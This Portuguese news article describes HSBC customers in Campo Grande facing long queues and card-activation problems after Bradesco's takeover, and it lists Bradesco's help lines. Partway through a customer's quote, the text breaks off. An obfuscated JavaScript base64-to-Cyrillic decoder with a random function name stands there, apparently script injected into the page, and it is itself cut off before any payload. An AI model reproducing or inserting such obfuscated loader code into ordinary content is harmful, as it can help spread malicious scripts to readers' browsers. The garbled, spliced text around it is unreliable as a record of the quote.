Com o fim do processo de compra do HSBC pelo Banco Bradesco, os clientes do primeiro enfrentaram problemas para ativar seus novos cartões e serem atendidos na agência que fica no Paço Municipal nesta segunda (10).
Durante a manhã, a fila no local ocupava dois corredores da agência. A maioria dos clientes dizia que estava ali por problemas no cartão, que deveria ter sido substituído por um novo do Bradesco até o último dia 08.
“Meu cartão não chegou, liguei e mandaram procurar a agência e estou aqui há uma hora, mas ainda não recebi nenhum tipo de orientação, está uma confusão. Eu ainda não consegui pagar as contas e está tudo atrasado, vou ter que esperar até sei lá que horas", lamenta Lucimar Silva de Souza, 41 anos, secretária.
"Deveria ter habilitado o cartão até dia 08, mas não fiz isso porque não fui informada sobre taxas, então resolvi esperar o fim da transição, mas me arrependi, porque está muito desorganizado", conta Mariana Garcia, também na fila.
"Já fui na agência da Bandeirantes, mas também está assim, com idoso e deficiente nas filas comuns. A transição caiu bem no fim da greve e isso prejudicou o usuário", completa Mariana.
Na confusão da entrada, a reportagem não viu funcionários do banco, apenas guardas municipais. "Bloqueei meu cartão sem querer e vim desbloquear, mas depois de ficar na fila todo esse function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
Com a fusão, as dez agências do HSBC na Capital viraram Bradesco, que agora conta com 29 agências em Campo Grande.
Para casos de dúvidas, o Bradesco criou canais de atendimento exclusivos. O cliente pode acessar o site boasvindas.bradesco, totalmente interativo e prático. Se preferir, pode ligar para a Central de Boas-Vindas, no 3003-5150 (capitais e regiões metropolitanas) e no 0800 718 5150 (demais localidades).
Via:Campo Grande News
